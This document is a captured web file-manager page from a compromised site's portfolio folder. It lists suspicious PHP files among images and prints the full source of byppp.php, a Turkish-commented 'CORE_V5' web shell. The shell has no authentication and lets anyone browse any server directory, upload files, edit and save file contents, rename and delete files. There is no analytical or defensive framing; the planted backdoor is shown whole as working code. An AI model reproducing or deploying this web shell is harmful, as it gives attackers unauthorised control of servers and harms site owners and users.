Current Dir: /var/www/vhosts/lahuertaatomica.es/httpdocs/store/portfolio/
[FILE] .cless-db.php [ edit | delete | rename ]
[FILE] .db.php [ edit | delete | rename ]
[FILE] 1507833695-levisuites.jpg [ edit | delete | rename ]
[FILE] 1507833727-iotai.jpg [ edit | delete | rename ]
[FILE] 1507833753-flejando.jpg [ edit | delete | rename ]
[FILE] 1507833813-evil.jpg [ edit | delete | rename ]
[FILE] 1507833847-aube.jpg [ edit | delete | rename ]
[FILE] 1507833880-udtomares.jpg [ edit | delete | rename ]
[FILE] 1507834808-pliego.jpg [ edit | delete | rename ]
[FILE] 1508151337-20170913-liv-sev.jpg [ edit | delete | rename ]
[FILE] 1510073897-elmaligno.jpg [ edit | delete | rename ]
[FILE] 1510075003-ud.jpg [ edit | delete | rename ]
[FILE] 1514027418-qts.jpg [ edit | delete | rename ]
[FILE] 1548335754-tcc.jpg [ edit | delete | rename ]
[FILE] 1584209430-myc.png [ edit | delete | rename ]
[FILE] 1584209482-gacweb.png [ edit | delete | rename ]
[FILE] 1620145405-fireshotcapture012-f.c.subastas-flixcuquerella-fcsubastas.com.png [ edit | delete | rename ]
[FILE] 1626361649-eateathurra.es.png [ edit | delete | rename ]
[FILE] 1626361837-friomovil.png [ edit | delete | rename ]
[FILE] 1727881067-bahia.png [ edit | delete | rename ]
[FILE] 1727881229-fcr.png [ edit | delete | rename ]
[FILE] 1774105281-byppp.php [ edit | delete | rename ]
[FILE] 1774529301-style.php [ edit | delete | rename ]
[FILE] appabonos.png [ edit | delete | rename ]
[FILE] appescuela.png [ edit | delete | rename ]
[FILE] appsubastas.png [ edit | delete | rename ]
[FILE] byppp.php [ edit | delete | rename ]
Viewing: /var/www/vhosts/lahuertaatomica.es/httpdocs/store/portfolio/byppp.php
<?php
/**
* CORE_V5 - Yeniden Yapılandırılmış Sürüm
* İşlevsellik: %100 Aynı
*/
// Hata Raporlama
ini_set('display_errors', '1');
error_reporting(E_ALL);
// --- 1. DİZİN VE YOL YÖNETİMİ ---
$current_dir = isset($_GET['d']) ? realpath(str_replace(['\\', '/'], DIRECTORY_SEPARATOR, $_GET['d'])) : getcwd();
if (!$current_dir || !is_dir($current_dir)) {
$current_dir = getcwd();
}
// --- 2. DOSYA İŞLEMLERİ (MOTOR) ---
function handle_actions($dir) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST' || !isset($_POST['a'])) return;
$action = $_POST['a'];
$target = isset($_POST['i']) ? basename($_POST['i']) : (isset($_POST['old']) ? basename($_POST['old']) : '');
$path = $dir . DIRECTORY_SEPARATOR;
switch ($action) {
case 'upload':
if (isset($_FILES['f'])) {
move_uploaded_file($_FILES['f']['tmp_name'], $path . basename($_FILES['f']['name']));
}
break;
case 'mkdir':
if (!empty($_POST['n'])) @mkdir($path . basename($_POST['n']), 0755);
break;
case 'mkfile':
if (!empty($_POST['nf'])) file_put_contents($path . basename($_POST['nf']), '');
break;
case 'rm':
$p = $path . $target;
is_dir($p) ? @rmdir($p) : @unlink($p);
break;
case 'rename':
if (!empty($_POST['new'])) @rename($path . $target, $path . basename($_POST['new']));
break;
case 'save':
if (!empty($_POST['fn'])) file_put_contents($path . basename($_POST['fn']), $_POST['c']);
break;
}
header("Location: ?d=" . urlencode($dir));
exit;
}
handle_actions($current_dir);
// --- 3. VERİ HAZIRLIĞI ---
$items = array_diff(scandir($current_dir), ['.', '..']);
$edit_file = (isset($_GET['edit']) && file_exists($current_dir . DIRECTORY_SEPARATOR . basename($_GET['edit']))) ? basename($_GET['edit']) : null;
?>
<!DOCTYPE html>
<html lang="tr">
<head>
<meta charset="UTF-8">
<title>CORE_V5 // <?php echo basename($current_dir); ?></title>
<style>
body { background: #0a0a0a; color: #00ff41; font-family: 'Courier New', monospace; font-size: 13px; margin: 20px; }
.container { border: 1px solid #333; padding: 15px; background: #000; }
a { color: #00ff41; text-decoration: none; }
a:hover { background: #00ff41; color: #000; }
.path-bar { background: #111; padding: 10px; margin-bottom: 20px; border-left: 4px solid #00ff41; font-weight: bold; }
table { width: 100%; border-collapse: collapse; }
th { text-align: left; color: #666; border-bottom: 1px solid #333; padding: 10px; }
td { padding: 8px 10px; border-bottom: 1px solid #111; }
tr:hover { background: #111; }
.btn { background: none; border: 1px solid #00ff41; color: #00ff41; padding: 3px 8px; cursor: pointer; font-size: 11px; display: inline-block; }
.btn:hover { background: #00ff41; color: #000; }
input[type=text], textarea { background: #000; border: 1px solid #333; color: #00ff41; padding: 4px; }
.toolbar { margin-top: 20px; padding-top: 15px; border-top: 1px solid #333; display: flex; gap: 10px; flex-wrap: wrap; }
</style>
</head>
<body>
<div class="container">
<div class="path-bar">
PATH:
<?php
$path_parts = explode(DIRECTORY_SEPARATOR, trim($current_dir, DIRECTORY_SEPARATOR));
$cum = (DIRECTORY_SEPARATOR === '\\') ? '' : DIRECTORY_SEPARATOR;
foreach ($path_parts as $part) {
$cum .= $part . DIRECTORY_SEPARATOR;
echo '<a href="?d=' . urlencode(rtrim($cum, DIRECTORY_SEPARATOR)) . '">' . htmlspecialchars($part) . '</a> / ';
}
?>
</div>
<?php if ($edit_file): ?>
<h3>Editing: <?php echo htmlspecialchars($edit_file); ?></h3>
<form method="post">
<input type="hidden" name="a" value="save">
<input type="hidden" name="fn" value="<?php echo htmlspecialchars($edit_file); ?>">
<textarea name="c" style="width:100%; height:400px;"><?php echo htmlspecialchars(file_get_contents($current_dir . DIRECTORY_SEPARATOR . $edit_file)); ?></textarea>
<br><br>
<button type="submit" class="btn">SAVE</button>
<a href="?d=<?php echo urlencode($current_dir); ?>" class="btn">CANCEL</a>
</form>
<?php else: ?>
<table>
<thead>
<tr><th>NAME</th><th>SIZE</th><th style="text-align:right">ACTIONS</th></tr>
</thead>
<tbody>
<?php foreach ($items as $item):
$full_path = $current_dir . DIRECTORY_SEPARATOR . $item;
$is_dir = is_dir($full_path);
?>
<tr>
<td><?php echo $is_dir ? '📁' : '📄'; ?>
<?php if ($is_dir): ?>
<a href="?d=<?php echo urlencode($full_path); ?>"><?php echo htmlspecialchars($item); ?>/</a>
<?php else: ?>
<?php echo htmlspecialchars($item); ?>
<?php endif; ?>
</td>
<td><?php echo $is_dir ? 'DIR' : round(filesize($full_path)/1024, 2) . ' KB'; ?></td>
<td style="text-align:right">
<form method="post" style="display:inline">
<input type="hidden" name="a" value="rename">
<input type="hidden" name="old" value="<?php echo htmlspecialchars($item); ?>">
<input type="text" name="new" placeholder="New" style="width:70px; font-size:10px">
<button type="submit" class="btn">REN</button>
</form>
<?php if (!$is_dir): ?>
<a class="btn" href="?d=<?php echo urlencode($current_dir); ?>&edit=<?php echo urlencode($item); ?>">EDIT</a>
<?php endif; ?>
<form method="post" style="display:inline" onsubmit="return confirm('Delete?')">
<input type="hidden" name="a" value="rm">
<input type="hidden" name="i" value="<?php echo htmlspecialchars($item); ?>">
<button type="submit" class="btn" style="color:#ff3333; border-color:#ff3333">DEL</button>
</form>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<div class="toolbar">
<form method="post" enctype="multipart/form-data">
<input type="hidden" name="a" value="upload">
<input type="file" name="f" class="btn">
<button type="submit" class="btn">UPLOAD</button>
</form>
<form method="post">
<input type="hidden" name="a" value="mkdir">
<input type="text" name="n" placeholder="Folder">
<button type="submit" class="btn">NEW DIR</button>
</form>
<form method="post">
<input type="hidden" name="a" value="mkfile">
<input type="text" name="nf" placeholder="File.txt">
<button type="submit" class="btn">NEW FILE</button>
</form>
</div>
<?php endif; ?>
</div>
</body>
</html>